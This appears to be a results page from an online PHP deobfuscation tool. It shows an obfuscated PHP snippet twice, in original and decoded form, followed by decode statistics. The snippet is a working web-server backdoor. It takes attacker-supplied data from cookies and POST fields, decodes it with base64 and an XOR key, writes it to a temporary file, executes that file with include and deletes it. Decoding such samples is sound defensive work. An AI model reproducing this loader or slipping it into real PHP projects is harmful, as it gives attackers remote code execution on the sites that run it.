Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php ..
Decoded Output download
<?php $ZCfie = "wPx_EMJp";$geRnmHq = class_exists($ZCfie); $zEXQWpD = $geRnmHq;if (!$zEXQWpD){class wPx_EMJp{private $TczzljhE;public static $kuuraq = "2bee8caa-5116-478d-ab28-aca3f64e8b9c";public static $JNkfBvHeM = NULL;public function __construct(){$KduqFJhwl = $_COOKIE;$qlKmUTBvo = $_POST;$ShbiB = @$KduqFJhwl[substr(wPx_EMJp::$kuuraq, 0, 4)];if (!empty($ShbiB)){$HEmvJ = "base64";$cfPkXHGnk = "";$ShbiB = explode(",", $ShbiB);foreach ($ShbiB as $xtuQXTVHo){$cfPkXHGnk .= @$KduqFJhwl[$xtuQXTVHo];$cfPkXHGnk .= @$qlKmUTBvo[$xtuQXTVHo];}$cfPkXHGnk = array_map($HEmvJ . "_" . 'd' . "e" . chr (99) . "o" . 'd' . chr (101), array($cfPkXHGnk,)); $cfPkXHGnk = $cfPkXHGnk[0] ^ str_repeat(wPx_EMJp::$kuuraq, (strlen($cfPkXHGnk[0]) / strlen(wPx_EMJp::$kuuraq)) + 1);wPx_EMJp::$JNkfBvHeM = @unserialize($cfPkXHGnk);}}public function __destruct(){$this->xLJtVLGnxB();}private function xLJtVLGnxB(){if (is_array(wPx_EMJp::$JNkfBvHeM)) {$MvvzMp = sys_get_temp_dir() . "/" . crc32(wPx_EMJp::$JNkfBvHeM["s" . "a" . chr (108) . 't']);@wPx_EMJp::$JNkfBvHeM['w' . "r" . "i" . 't' . 'e']($MvvzMp, wPx_EMJp::$JNkfBvHeM["c" . chr ( 163 - 52 ).'n' . "t" . 'e' . "n" . 't']);include $MvvzMp;@wPx_EMJp::$JNkfBvHeM["d" . "e" . chr ( 1005 - 897 ).chr (101) . chr (116) . 'e']($MvvzMp);exit();}}}$yseREslwPT = new wPx_EMJp(); $yseREslwPT = NULL;} ?>
Did this file decode correctly?
Original Code
<?php $ZCfie = "wPx_EMJp";$geRnmHq = class_exists($ZCfie); $zEXQWpD = $geRnmHq;if (!$zEXQWpD){class wPx_EMJp{private $TczzljhE;public static $kuuraq = "2bee8caa-5116-478d-ab28-aca3f64e8b9c";public static $JNkfBvHeM = NULL;public function __construct(){$KduqFJhwl = $_COOKIE;$qlKmUTBvo = $_POST;$ShbiB = @$KduqFJhwl[substr(wPx_EMJp::$kuuraq, 0, 4)];if (!empty($ShbiB)){$HEmvJ = "base64";$cfPkXHGnk = "";$ShbiB = explode(",", $ShbiB);foreach ($ShbiB as $xtuQXTVHo){$cfPkXHGnk .= @$KduqFJhwl[$xtuQXTVHo];$cfPkXHGnk .= @$qlKmUTBvo[$xtuQXTVHo];}$cfPkXHGnk = array_map($HEmvJ . "\x5f" . 'd' . "\145" . chr (99) . "\157" . 'd' . chr (101), array($cfPkXHGnk,)); $cfPkXHGnk = $cfPkXHGnk[0] ^ str_repeat(wPx_EMJp::$kuuraq, (strlen($cfPkXHGnk[0]) / strlen(wPx_EMJp::$kuuraq)) + 1);wPx_EMJp::$JNkfBvHeM = @unserialize($cfPkXHGnk);}}public function __destruct(){$this->xLJtVLGnxB();}private function xLJtVLGnxB(){if (is_array(wPx_EMJp::$JNkfBvHeM)) {$MvvzMp = sys_get_temp_dir() . "/" . crc32(wPx_EMJp::$JNkfBvHeM["\x73" . "\141" . chr (108) . 't']);@wPx_EMJp::$JNkfBvHeM['w' . "\162" . "\x69" . 't' . 'e']($MvvzMp, wPx_EMJp::$JNkfBvHeM["\143" . chr ( 163 - 52 ).'n' . "\164" . 'e' . "\x6e" . 't']);include $MvvzMp;@wPx_EMJp::$JNkfBvHeM["\144" . "\145" . chr ( 1005 - 897 ).chr (101) . chr (116) . 'e']($MvvzMp);exit();}}}$yseREslwPT = new wPx_EMJp(); $yseREslwPT = NULL;} ?>
Function Calls
class_exists | 1 |
Stats
MD5 | cfd758aaeed43bef9214afe3bc27eb38 |
Eval Count | 0 |
Decode Time | 48 ms |